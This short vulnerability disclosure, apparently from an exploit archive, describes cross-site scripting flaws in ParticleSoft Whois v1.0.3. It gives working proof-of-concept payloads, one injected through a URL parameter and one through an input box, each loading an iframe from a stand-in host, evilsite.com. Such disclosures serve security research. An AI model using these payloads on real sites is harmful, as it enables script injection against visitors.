ParticleSoft Whois v1.0.3
Homepage:
http://www.particlesoft.net/particlewhois/
XSS Proof of concept viaurl injection:
http://whois.particlesoft.net/index.php?do=runcheck&target="><iframe
src=http://evilsite.com/scriptlet.html <<"&ext=all
XSS Via input box:
"><iframe src=http://evilsite.com/scriptlet.html <<"